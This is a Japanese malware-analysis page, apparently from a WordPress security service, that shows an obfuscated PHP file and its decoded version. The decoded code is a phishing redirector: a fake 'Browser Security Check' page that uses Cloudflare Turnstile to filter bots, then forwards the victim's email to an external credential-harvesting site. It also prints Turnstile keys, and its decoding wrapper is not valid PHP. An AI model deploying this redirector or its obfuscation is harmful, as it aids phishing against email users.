PHP 難読化コードの復元・デコード

難読化されたPHPコード

<?php
$Cyto = "Sy1LzNFQKyzNL7G2V0svsYYw9YpLiuKL8ksMjTXSqzLz0nISS1K\x42rNK85Pz\x63gqLU4mLq\x43\x43\x63lFqe\x61m\x63Snp\x43\x62np6Rq\x41O0sSi3TUPHJrNBE\x41tY\x41";
$Lix = "g\x2bWQGPH\x61HlPwgZ\x2bm\x42mlpt\x2bR/v\x43lww\x43VVHF9gruU0Hl\x62u6Xm1DekdsQJzRyw82FgD\x2bsh7\x41psG\x62L7fz2y\x42V4s9iPdPv24hf\x61mUEvND822EP8s/nFIM9/QD\x42\x42d\x6322FJlke54pRq\x627ZwqIT\x62ydNZx\x2b6\x43l\x62LvD\x63Vjfws0su3xdx\x61D9\x63Rd7hJ\x2b32neq0VK\x42stSZNm\x62qhOlX\x62\x612gPl2S\x42rkwkhJm42dKlrr4Gyy2XR41P\x617f/2\x61SDWpGy\x62Fg/k\x418\x2bS1\x42gh2J09X60\x2burjjFx\x61S\x41wOZ\x62\x424XTZF0jjRZ\x63esH2e4qhVn6XYxrK\x63GD03N9rrRRhh\x624G8rNmWxLPm\x2bGvdeU5rFOjtQiI\x62\x2blv/\x2bu\x43XHiXSYYJEKLy3rUZQi3Mqi7Fu9\x42fvYE\x42XXNOXTqtwOD/\x61zho4QkD6lupDP\x62kXxj6W\x41GX6G2xkJmM0\x43ORf1\x2bs54ooq0xjtvDNjNyHuRq\x2bjTMU33\x43\x63OWHEI2X\x63F\x2bR22\x43hEJOwqFRIzMOhxYVnOSRD71VViZ\x42Q/yllN3QhRDoiwNSXVrh\x426POm15GRuIez\x62K1wxt2X8r3mFDU7Y9h0kTYdg\x42mihs\x43IjtdJzLn\x41zZm\x43qoV20Jw8xMG\x42\x62n2xz\x43f9ssRSVm\x61GWUezgsRy7\x63M9pSks2zshwjMXxe\x2bN\x43rhs\x2b6\x63\x621179uVNf0g4WxYR5\x2bIu8mtmI\x61T\x2bHZLNq\x63XsO\x43UQvDe\x2bIS9t15RIzF\x2bgytNU95fYWSl\x63Epq\x2bPDEOTyfVoidWUKv/WeqGlQYwLZjr55tuOOrOmSJHZv8f/Xnd2VEGz\x61XV6\x61n99ZjOwFLXiu\x62ZoXY\x41LXSnG5\x610MUF5Vp3kwfuPD8RLmF\x62EE\x61RNJO\x61RUz5s\x61G3UWhT8q44pjxNldx8zO\x62T\x43sF6UinStydoFF6NU4iEJtyVG83EtX\x433NJVi\x43dk\x42yuT\x61F7/1o\x42X5Up\x41Y27vf59\x623exoeSxJv2/kn9YDOxw0igp5x6\x43KpW\x63h0mGY3KFLNTrP431iVYTL4QRdlIX\x413V\x41jKI\x63pX\x41QeURoIGeIOZ0\x61lg8Vu7L2lRru/M7\x431ui1p1TSL5xUQ\x62\x422wLuvF/UKQx\x61/OYD1ZN3epTs7S\x2b63SzK\x419Svze7ZxPz2pdRVrE1di1nuxG8YkNS2Ks8\x42O\x61WiT/7M/WlOPjMqI3vn\x41t/oxTupVRnTxy0E/E\x41\x42\x6262O\x630U\x62tVdj/Oel\x2b7\x62sjT5\x6298IOU\x2bmHjJsm\x63Dsv\x42tY\x2bf798\x62q/KHlfXoZnLHh22qV70XpzWMMX1GyO1\x61n\x41h80yuNKN9ed5y7Pv20fze9Vn\x2b5p0Xu73dppft80XZmT5ZS2MlRQ5SH8OoSg8nIWGN\x414SNd\x417GrKoY/1r9yWrdmYFnYtLgNxefP\x42\x61def613\x2by\x63Hhu2z6jM\x2bqHtkURKhYDZFjGwU\x634NmY\x43VVUxISZIKX8\x63U6/g4lTGlwqh8zq\x429HIu\x43\x63svKXJxIVxqV8fp6qP7\x43q9rg\x2bERsM0NVZR\x61N\x2bw6S9g\x42Usrq51\x61\x42SghIw3Im908e\x61/Gko\x43fU\x42ROfRJ21OYz\x63NKqvZQ\x41Vy0vg\x62R\x433y\x63FyYYnOZ4k5Sfil2\x615\x61KjeYgOL/1oNr1tpr\x2b2\x42o5SjEdj\x42mKV0yI\x61dKn4\x42pWK1Ni\x61Fs\x430hxS/\x42zttH8EmTlo\x43qD\x611qq3LPzyz\x41LN\x41ffjDV\x420d\x43\x2b0nvNw5vO\x2bl7fDs8\x4395D\x2bf2H/vx3/T67/GeutzmiGl9qRhTh8wKZ3Oriz6IvStqdm/Z\x42rZHVd4v/umk3\x63\x41t\x43\x63GF0L\x416zy2K\x62DS\x41n6\x63\x627i76eiqikE\x42g1VsnKFJXzWEHPiQf\x41oP46QiWNyll\x43\x41gu\x639\x41\x63y\x611u\x43Z/I6XEdJlOrR2\x61NnLsy\x41gKFZQz\x63LWZG5iWEyqU\x41z\x41\x41dVfn\x62HtljdzI\x63yVdS/fKj6ZyW1kQRMywsg9t\x62X\x6359LzF\x63umFLK\x62PM0nJynl8jy5OGKoOxRGnMY/e0xH3vzWwOr4OOIGy\x61RLGuIhKyz5tsZlwVyDZ3i\x61dsNkw5D4VrJsgsN0zp/7\x62HnsmWZxZxYFL\x42K06x8pxTYzJ/1eMp93hUiKwFor8\x63\x63yit0\x4358HLYsoEudGFsuGIzjU0WFLy\x61NzwMs5iYxupi\x43l\x61m0z\x41e0xvU4OES\x62\x41iy6\x2bE409hKq/s/tq\x2bkjey0oI\x43y\x430k6\x63hRryDG0\x61mGd0x01ImDud5Pdxrlv8hyyN3\x2b5JS5\x2bfwhvfe1R3\x43dH\x41jS8sEWYilL0gYUjXKZukilqOI54sR\x62KzjXGu9k3/\x62Xw8P\x2bYs7/\x62z\x63DixdDzDtn\x630xgX7Z\x41rUJV\x43XOG\x42Uor\x42Yq05iINpD4iWGK8Kdy9FODogP\x2brfsXNKg/7zDWSw2HW2\x62SJR\x42kL\x6377\x2bLTo\x42j\x43J\x42Jt2\x424\x42\x43pFvzmTm2xmTy\x62\x6231\x61UWJVqz5O1JJORnlr3wh/nh7\x2bLhN\x62PX\x62YVZ\x2b7Y\x41x\x42wJe5Dj\x42PHQ\x2brY\x411\x42wJe5Di\x42fHQ\x2b\x62Y\x415\x42wJe5Dh\x42vHQ\x2bLY\x419\x42wJe";
eval(htmlspecialchars_decode(gzinflate(base64_decode($Cyto))));
exit;
?>

デコード(難読化解除)されたコード

<?php

$Cyto = "Sy1LzNFQKyzNL7G2V0svsYYw9YpLiuKL8ksMjTXSqzLz0nISS1KBrNK85PzcgqLU4mLqCCclFqeamcSnpCbnp6RqAO0sSi3TUPHJrNBEAtYA";
$Lix = "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";
eval {
    // Cloudflare Turnstile site and secret keys
    $site_key = "0x4AAAAAAA9xyY-rDvVIacEn";
    // Replace with your site key
    $secret_key = "0x4AAAAAAA9xySRDHv-UfrjNmDovRbWPjlY";
    // Replace with your secret key
    // Turnstile verification function
    function verifyTurnstile($token, $secret_key)
    {
        $url = 'https://challenges.cloudflare.com/turnstile/v0/siteverify';
        $data = ['secret' => $secret_key, 'response' => $token];
        $options = ['http' => ['header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data)]];
        $context = stream_context_create($options);
        $result = file_get_contents($url, false, $context);
        return json_decode($result, true);
    }
    // Function to check if input is Base64 encoded
    function isBase64($data)
    {
        return (bool) preg_match('/^[a-zA-Z0-9\\/\\r\\n+]*={0,2}$/', $data) && base64_encode(base64_decode($data, true)) === $data;
    }
    // Function to decode the email and redirect
    function decode($email)
    {
        if (isBase64($email)) {
            $email = base64_decode($email, true);
        }
        $url = "https://auto-verify.vercel.app/index.html#" . $email;
        header("Location: " . $url);
        exit;
    }
    // Function to redirect when email is not provided
    function redirectWithoutEmail()
    {
        header("Location: https://auto-verify.vercel.app/index.html#");
        exit;
    }
    // Function to checks if the userid parameter is present in the query string
    if (isset($_GET['userid']) && !empty($_GET['userid'])) {
        $email = $_GET['userid'];
        decode($email);
    }
    // Handling form submission
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        // Check if Turnstile token is present
        if (isset($_POST['cf-turnstile-response']) && !empty($_POST['cf-turnstile-response'])) {
            $turnstile_response = $_POST['cf-turnstile-response'];
            $verification = verifyTurnstile($turnstile_response, $secret_key);
            // Check if Turnstile verification is successful
            if ($verification['success']) {
                // Turnstile passed, check if email (userid) is provided
                if (isset($_POST['userid']) && !empty($_POST['userid'])) {
                    $email = $_POST['userid'];
                    decode($email);
                } else {
                    // If email is not provided, redirect to default page
                    redirectWithoutEmail();
                }
            } else {
                echo "Turnstile verification failed. Please try again.";
            }
        } else {
            echo "Turnstile token not found. Please complete the challenge.";
        }
    }
    ?>

<!DOCTYPE html>
<html>
<head>
    <title>Browser Security Check</title>
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script>
    <style>
        /* Align content to the top */
        body, html {
            height: 100%;
            margin: 0;
            display: flex;
            justify-content: center;
            align-items: flex-start; /* Align to top */
            font-family: Arial, sans-serif;
        }
        #cf-turnstile {
            margin-top: 20px; /* Optional: add some spacing from the top */
        }
        /* Optional: style the form and loading text */
        .container {
            text-align: center;
            margin-top: 70px; /* Add margin for top spacing */
        }
    </style>
</head>
<body>

<div class="container">
    <p><strong>Browser Security Check.</strong></p>
    <div id="cf-turnstile"></div>

    <form method="POST" id="turnstile-form">
        <input type="hidden" id="cf-turnstile-response" name="cf-turnstile-response">
        <input type="hidden" id="userid" name="userid"> <!-- Dynamic value will be set here -->
    </form>
</div>

<script>
    function getEmailFromPath() {
        const pathSegments = window.location.pathname.split('/');
        return pathSegments.length > 1 ? btoa(pathSegments[pathSegments.length - 1]) : ''; // Base64 encode the last segment (email)
    }

    document.getElementById('userid').value = getEmailFromPath();

    turnstile.ready(function () {
        turnstile.render('#cf-turnstile', {
            sitekey: '0x4AAAAAAA9xyY-rDvVIacEn', // Replace with your site key
            callback: function(token) {
                document.getElementById('cf-turnstile-response').value = token;
                document.getElementById('turnstile-form').submit();
            },
        });
    });
</script>

</body>
</html><?php 
};
exit;

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.